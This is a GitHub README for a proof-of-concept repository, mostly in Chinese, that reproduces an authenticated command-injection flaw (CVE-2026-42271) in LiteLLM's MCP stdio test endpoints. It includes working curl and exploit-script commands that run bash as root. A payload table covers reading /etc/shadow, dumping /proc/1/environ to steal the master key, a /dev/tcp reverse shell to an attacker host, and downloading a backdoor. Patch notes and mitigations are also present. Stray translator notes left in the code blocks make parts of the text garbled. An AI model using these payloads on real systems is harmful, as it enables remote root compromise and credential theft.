learner202649/CVE-2026-42271-PoC

GitHub: learner202649/CVE-2026-42271-PoC

这是一个针对LiteLLM命令注入漏洞(CVE-2026-42271)的概念验证仓库,用于复现该安全漏洞并演示攻击场景。

Stars: 0 | Forks: 0

# CVE-2026-42271 — LiteLLM 通过 MCP stdio 测试端点的已认证命令注入漏洞 | 字段 | 值 | |-------|-------| | CVE | **CVE-2026-42271** | | CVSS v4.0 | **8.7 (HIGH)** — `CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N` | | CVSS v3.1 | **8.8 (HIGH)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | | CWE | CWE-77 / CWE-78 (操作系统命令注入) | | 受影响版本 | LiteLLM **>= 1.74.2, < 1.83.7** | | 修复版本 | **v1.83.7+** (添加了命令白名单和 `PROXY_ADMIN` 角色检查) | | 公开日期 | 2026-05-08 | | **固定版本** | **v1.82.6** — 镜像通过 digest 固定,确保长期可复现 | | 相关链接 | [GHSA-v4p8-mg3p-g94g](https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g) • [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-42271) • [GitLab Advisory](https://advisories.gitlab.com/pypi/litellm/CVE-2026-42271/) | ## 描述 用于在保存前预览 MCP 服务器的两个端点 — `POST /mcp-rest/test/connection` 和 `POST /mcp-rest/test/tools/list` — 在请求体中接受完整的 MCP 服务器配置,包括 **stdio 传输**所使用的 `command`、`args` 和 `env` 字段。 当使用 stdio 配置调用时,这些端点会在代理主机上以代理进程(在默认 Docker 中为 root)的权限,将提供的命令作为 **子进程** 启动。 **关键问题:** 这些端点仅检查有效的代理 API 密钥,**不进行角色检查** — 即使是低权限的 `internal_user` 密钥也可以利用此漏洞。 ## 概念验证 ### 快速启动 (Docker) ``` # late it as "在容器内" and note that "container" is kept in English? No, the instruction says keep in English form. So, I'll keep "container" as is. docker compose up -d # - Full: "检查命令是否在 container 内执行" python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id" # 5. "Output: uid=0(root) gid=0(root) groups=0(root),0(root),..." curl -s -X POST \ -H "Authorization: Bearer sk-litellm-master-key" \ -H "Content-Type: application/json" \ http://localhost:4000/mcp-rest/test/tools/list \ -d '{ "transport": "stdio", "command": "bash", "args": ["-c", "id > /tmp/pwned"] }' ``` ### 验证执行 ``` # - "Output" – "输出" docker exec litellm-cve cat /tmp/pwned # - The rest is a technical output with "uid", "gid", "groups", which are Unix/Linux terms, so keep them in English. ``` API 返回 `"Failed to connect to MCP server"`,因为启动的进程不使用 MCP 协议 — 但 **命令已经以 root 权限执行**。 ## 攻击场景 | 场景 | 载荷 | |----------|---------| | **基础 RCE** | `"args": ["-c", "id > /tmp/pwned"]` | | **读取文件** | `"args": ["-c", "cat /etc/shadow > /tmp/out"]` | | **窃取环境变量** | `"args": ["-c", "cat /proc/1/environ | tr '\\0' '\\n' > /tmp/env"]` → 包含 `LITELLM_MASTER_KEY` | | **反弹 Shell** | `"args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"]` | | **持久化** | `"args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"]` | ## 受影响端点 ### - So: "输出: uid=0(root) gid=0(root) groups=0(root),0(root),..." 测试 MCP 服务器连接。使用 stdio 传输时,会启动提供的命令。 ### 6. "`POST /mcp-rest/test/connection`" 列出测试 MCP 服务器的工具。行为相同 — 使用 stdio 传输时启动提供的命令。 ### 请求体格式 ``` { "transport": "stdio", "command": "bash", "args": ["-c", ""], "env": { "PATH": "/usr/bin:/bin" } } ``` | 字段 | 类型 | 必需 | 描述 | |-------|------|----------|-------------| | `transport` | string | 是 | 命令注入必须为 `"stdio"` | | `command` | string | 是 | 要启动的可执行文件 (例如 `bash`, `python`, `curl`) | | `args` | array | 是 | 传递给命令的参数 | | `env` | object | 否 | 子进程的环境变量 | ## 补丁分析 (v1.83.7) 修复增加了两层防御: 1. **命令白名单**,通过 `validate_transport_fields()` — 仅允许:`npx`, `uvx`, `python`, `python3`, `node`, `docker`, `deno` 2. **基于角色的访问控制** — 两个端点现在都需要 `PROXY_ADMIN` 角色 ## 仓库结构 ``` CVE-2026-42271/ ├── README.md # This file ├── docker-compose.yml # One-command vulnerable environment (pinned to v1.82.6) ├── requirements.txt # Dependencies ├── exploit/ │ ├── exploit.py # Full exploit script │ └── payload.py # Payload generation module ├── docs/ │ └── advisory.md # Advisory reference └── screenshots/ # Proof screenshots ``` ## 缓解措施 1. **升级** 到 LiteLLM **v1.83.7+** (命令白名单 + `PROXY_ADMIN` 角色检查) 2. 在反向代理处**阻止** `/mcp-rest/test/connection` 和 `/mcp-rest/test/tools/list` 3. **限制** API 密钥权限 — 如果怀疑泄露,请轮换密钥 4. 在 Docker 中以**非 root 用户**运行:`docker run --user 1000:1000 ...` ## ⚠️ 注意:MCP SDK 环境变量隔离 复现**第 5.7 节(提取进程环境变量)**时需注意:**MCP Python SDK v1.25.0+** 在创建 stdio 子进程时,**不会继承 LiteLLM 父进程的环境变量**。SDK 通过 `get_default_environment()` 仅传递 `HOME` 和 `PATH`,然后与用户显式指定的 `env` 字段合并。 因此 `env > /tmp/env_dump` **无法捕获 `LITELLM_MASTER_KEY`**。 **正确做法**:通过读取 LiteLLM 主进程的 `/proc/1/environ` 提取环境变量: ``` # 提取环境变量(通过 /proc/1/environ) curl -s -X POST \ -H "Authorization: Bearer sk-litellm-master-key" \ -H "Content-Type: application/json" \ http://localhost:4000/mcp-rest/test/tools/list \ -d '{ "transport": "stdio", "command": "bash", "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"] }' # 查看结果 docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER" # 输出: LITELLM_MASTER_KEY=sk-litellm-master-key ``` 详情见[复现报告](CVE-2026-42271_漏洞复现报告.docx)第 5.7 节。 ## 参考资料 - [GitHub 安全公告 GHSA-v4p8-mg3p-g94g](https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g) - [GitLab Advisory](https://advisories.gitlab.com/pypi/litellm/CVE-2026-42271/) - [NVD 详情](https://nvd.nist.gov/vuln/detail/CVE-2026-42271) - [v1.83.7-stable 版本发布](https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable) - [LiteLLM MCP 文档](https://docs.litellm.ai/docs/mcp)
标签:AI框架, API安全, CVE-2026-42271, Docker, JSON输出, LiteLLM, MCP协议, PoC开发, Python, 命令注入, 安全测试, 安全防御评估, 攻击性安全, 无后门, 漏洞复现, 编程工具, 网络安全, 认证漏洞, 语言模型, 请求拦截, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞